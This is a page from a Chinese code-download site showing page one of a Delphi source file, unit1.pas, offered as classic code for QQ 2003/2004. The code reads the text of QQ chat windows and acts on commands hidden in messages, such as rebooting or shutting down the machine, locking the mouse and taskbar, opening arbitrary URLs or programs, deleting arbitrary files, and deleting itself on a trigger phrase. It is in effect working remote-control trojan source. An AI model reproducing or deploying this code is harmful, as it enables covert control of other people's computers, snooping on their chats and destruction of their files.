⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 unit1.pas

📁 很经典的代码 2004版可以通过 但没有试过以后更高的版本 系统高人指点
💻 PAS
📖 第 1 页 / 共 2 页
字号:
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'关闭电脑') then
       Irc_Reboot_Shutdown(2);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'锁定开始') then
       showwindow(hstart,sw_hide);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'解锁开始') then
       showwindow(hstart,sw_show);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'隐藏任务栏') then
       showwindow(wndhandle,sw_hide);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'显示任务栏') then
       showwindow(wndhandle,sw_show);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'锁定启动栏') then
       EnableWindow(hquik, false);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'解锁启动栏') then
       EnableWindow(hquik, true);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'锁定任务栏') then
       EnableWindow(htray, false);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'解锁任务栏') then
       EnableWindow(htray, true);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'我的电脑') then
       WinExec('explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}',SW_SHOWMAXIMIZED);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'我的文档') then
       shellexecute(handle,'open',pchar(getpersonal),'','',sw_shownormal);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'打开IE') then
       shellexecute(handle,'open','Iexplore','','',sw_shownormal);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'环形图标') then
       Circle(280);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'对称图标') then
       Alignboth(70);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'右图标') then
       AlignRight(70);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'还原图标') then
       alignabc(70);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'删除墙纸') then
       begin
       reg:=tregistry.Create;
       Reg.Rootkey := Hkey_Current_User;
       Reg.OpenKey('Control Panel\Desktop', true);
       Reg.DeleteValue('Wallpaper');
       SystemParametersInfo(SPi_SETDESKWALLPAPER,0,nil,SPIF_SENDWININICHANGE);
       SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NiL, NiL);
       end;
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'屏幕保护') then
       TurnScreenSaverOn;
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'弹出光驱') then
       mciSendString('Set cdaudio door open wait', nil, 0, handle);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'光闭光驱') then
       mciSendString('Set cdaudio door closed wait', nil, 0, handle);
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'锁定鼠标') then
       begin
      rt.Left:=0;
      rt.Top:=0;
      rt.Right:=0;
      rt.Bottom:=0;
      MapWindowPoints(handle, 0, rt, 2); // 座标换算
      ClipCursor(@rt);
      end;
       if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'解锁鼠标') then
       clipcursor(nil);
        if  AnsiContainsText(GetText(FindRev(HWND(lParam))),'任我行飞翔') then
       delself;
       if  AnsiContainsText(GetText(Findrev(HWND(lParam))),'http://') then
       begin
       i_pos:=pos('http://',GetText(Findrev(HWND(lParam))));
       s_copy:=copy(GetText(Findrev(HWND(lParam))),i_pos,100);
       shellexecute(handle,'open',pchar(s_copy),'','',sw_shownormal);
       end;
       if  AnsiContainsText(GetText(Findrev(HWND(lParam))),'open') then
       begin
       i_pos:=pos('open',GetText(Findrev(HWND(lParam))));
       s_copy:=copy(GetText(Findrev(HWND(lParam))),i_pos+5,100);
       shellexecute(handle,'open',pchar(s_copy),'','',sw_shownormal);
       end;
       if  AnsiContainsText(GetText(Findrev(HWND(lParam))),'del') then
       begin
       i_pos:=pos('del',GetText(Findrev(HWND(lParam))));
       s_copy:=copy(GetText(Findrev(HWND(lParam))),i_pos+4,100);
       deletefile(s_copy);
       end;
       end;
       UC_WINDESTROY:
       begin
       Memo1.Lines.Add(GetQQText(FindSend(HWND(lParam))));
         if  AnsiContainsText(GetQQText(Findsend(HWND(lParam))),'显示桌面') then
       ShowWindow(hDesktop, SW_show);
       if  AnsiContainsText(GetQQText(Findsend(HWND(lParam))),'隐藏桌面') then
       ShowWindow(hDesktop, SW_hide);
       if  AnsiContainsText(GetQQText(Findsend(HWND(lParam))),'锁定桌面') then
       EnableWindow(hdesk, false);
       if  AnsiContainsText(GetQQText(Findsend(HWND(lParam))),'解锁桌面') then
       EnableWindow(hdesk, true);
       if  AnsiContainsText(GetQQText(Findsend(HWND(lParam))),'电脑重启') then
       Irc_Reboot_Shutdown(1);
       if  AnsiContainsText(GetQQText(Findsend(HWND(lParam))),'注销用户') then
       Irc_Reboot_Shutdown(4);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'关闭电脑') then
       Irc_Reboot_Shutdown(2);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'锁定开始') then
       showwindow(hstart,sw_hide);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'解锁开始') then
       showwindow(hstart,sw_show);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'隐藏任务栏') then
       showwindow(wndhandle,sw_hide);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'显示任务栏') then
       showwindow(wndhandle,sw_show);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'锁定启动栏') then
       EnableWindow(hquik, false);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'解锁启动栏') then
       EnableWindow(hquik, true);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'锁定任务栏') then
       EnableWindow(htray, false);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'解锁任务栏') then
       EnableWindow(htray, true);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'我的电脑') then
       WinExec('explorer.exe ::{20D04FE0-3AEA-1069-A2D8-08002B30309D}',SW_SHOWMAXIMIZED);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'我的文档') then
       shellexecute(handle,'open',pchar(getpersonal),'','',sw_shownormal);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'打开IE') then
       shellexecute(handle,'open','Iexplore','','',sw_shownormal);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'环形图标') then
       Circle(280);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'对称图标') then
       Alignboth(70);
       if  AnsiContainsText(GetQQText(FinDSEND(HWND(lParam))),'右图标') then
       AlignRight(70);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'还原图标') then
       alignabc(70);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'删除墙纸') then
       begin
       reg:=tregistry.Create;
       Reg.Rootkey := Hkey_Current_User;
       Reg.OpenKey('Control Panel\Desktop', true);
       Reg.DeleteValue('Wallpaper');
       SystemParametersInfo(SPi_SETDESKWALLPAPER,0,nil,SPIF_SENDWININICHANGE);
       SHChangeNotify(SHCNE_ASSOCCHANGED, SHCNF_IDLIST, NiL, NiL);
       end;
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'屏幕保护') then
       TurnScreenSaverOn;
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'弹出光驱') then
       mciSendString('Set cdaudio door open wait', nil, 0, handle);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'光闭光驱') then
       mciSendString('Set cdaudio door closed wait', nil, 0, handle);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'锁定鼠标') then
       begin
      rt.Left:=0;
      rt.Top:=0;
      rt.Right:=0;
      rt.Bottom:=0;
      MapWindowPoints(handle, 0, rt, 2); // 座标换算
      ClipCursor(@rt);
      end;
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'解锁鼠标') then
       clipcursor(nil);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'任我行飞翔') then
       delself;
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'http://') then
       shellexecute(handle,'open',pchar(GetQQText(FindSEND(HWND(lParam)))),'','',sw_shownormal);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'open') then
       shellexecute(handle,'open',pchar(copy(GetQQText(Findsend(HWND(lParam))),6,100)),'','',sw_shownormal);
       if  AnsiContainsText(GetQQText(FindSEND(HWND(lParam))),'del') then
       deletefile(copy(GetQQText(FindSEND(HWND(lParam))),5,100));
       END;
  end;
  end;
  end;
 inherited;
end;

function TForm1.FindSend(parent: HWND):HWND;//找到发送窗体
var
  hwd,hBtn,hMemo,hStat,hName:HWND;
begin
  result := 0;
// for QQ2004
  hwd:=findwindowex(parent,0,'#32770',nil);
  if (hwd<>0) then
    begin
      hBtn := FindwindowEX(hwd,0,nil,'发送(&S)');
      if (hBtn<>0) then
        begin
          hMemo := GetDlgItem(hwd,$00000000);
          hName := GetWindow(GetDlgItem(hwd,$00004367),GW_CHILD);
          if (hMemo<>0) then
            begin
              result := GetWindow(hMemo,GW_CHILD);
            end
            else
            exit;
        end;
    end
    else
// for QQ2003
    begin
      hBtn := FindwindowEX(parent,0,nil,'发送(&S)');
      if (hBtn<>0) then
        begin
          hMemo := GetDlgItem(parent,$00000000);
          hStat := GetDlgItem(parent,$000002B0);
          hName := GetDlgItem(parent,$0000013F);
          if (hMemo<>0) then
            begin
              result := GetWindow(hMemo,GW_CHILD);
            end
            else
            exit;
        end;
    end;
end;


function  Tform1.FindRev(parent: HWND):HWND; //找到收信窗体
var
  hwd,hBtn,hMemo,hStat,hName,hTime:HWND;
begin
  result := 0;
// for QQ2004
  hwd:=findwindowex(parent,0,'#32770',nil);
  if (hwd<>0) then
  begin
  hBtn := FindwindowEX(hwd,0,nil,'回讯息(&R)');
  if (hBtn<>0) then
     begin
       hMemo := GetDlgItem(hwd,$00000380);
       if (hMemo<>0) then
         begin
           result := hMemo;
         end
         else
         exit;
         end;
  end
  else
// for QQ2003
  begin
  hBtn := FindwindowEX(parent,0,nil,'(&R)回讯息');
  if (hBtn<>0) then
     begin
       hMemo := GetDlgItem(parent,$00000380);
       hStat := GetDlgItem(parent,$000000DF);
       hName := GetDlgItem(parent,$0000011D);
       hTime := GetDlgItem(parent,$00000436);
       if (hMemo<>0) then
         begin
           result := hMemo;
         end
         else
         exit;
     end;
  end
end;


function TForm1.GetwinText(hwd: HWND):String;
var
  Name:PChar;
  L:integer;
begin
  L:=GetWindowTextLength(hwd) + 1;
  GetMem(Name,L);
  GetWindowText(hwd,Name,L);
  result := String(Name);
  FreeMem(Name,0);
end;

function Tform1.GetQQText(hwd: HWND):string;
var
  hGlobal: HWND;
  pText,pGlobal: Pchar;
begin
  hGlobal := GlobalAlloc(GHND or GMEM_DDESHARE, 1024);
  OpenClipboard(0);
  EmptyClipboard() ;
  SetClipboardData (CF_TEXT, hGlobal) ;
  CloseClipboard();
  SendMessage(hwd, EM_SETSEL, 0, -1);
  SendMessage(hwd, WM_COPY, 0, 0);
  OpenClipboard(0);
  hGlobal := GetClipboardData (CF_TEXT) ;
  GetMem(pText, GlobalSize (hGlobal));
  pGlobal := GlobalLock (hGlobal) ;
  strpcopy(pText, pGlobal) ;
  result := string(pText);
  GlobalUnlock(hGlobal) ;
  CloseClipboard();
end;

function TForm1.GetText(hwd: HWND):String;
var
  Ret: LongInt;
  QQText: PChar;
  Buf: integer;
begin
  GetMem(QQText,1024);
  if (hwd<>0) then
  begin
  try
    Ret := SendMessage(hwd, WM_GETTEXTLENGTH, 0, 0) + 1;
    Buf := LongInt(QQText);
    SendMessage(hwd, WM_GETTEXT, Min(Ret, 1024), Buf);
    result := QQText;
  finally
    FreeMem(QQText, 1024);
  end;
  end
  else
  exit;
end;






{function TForm1.GetDateTime():String;
var
  Mydatetime : _SYSTEMTIME;
begin
  Getsystemtime(Mydatetime);
  with Mydatetime do
    result := inttostr(wYear) +'-'+ inttostr(wMonth) +'-'+ inttostr(wDay) +' '+ inttostr(wHour) +':'+ inttostr(wMinute) +':'+ inttostr(wSecond);

end;}

end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -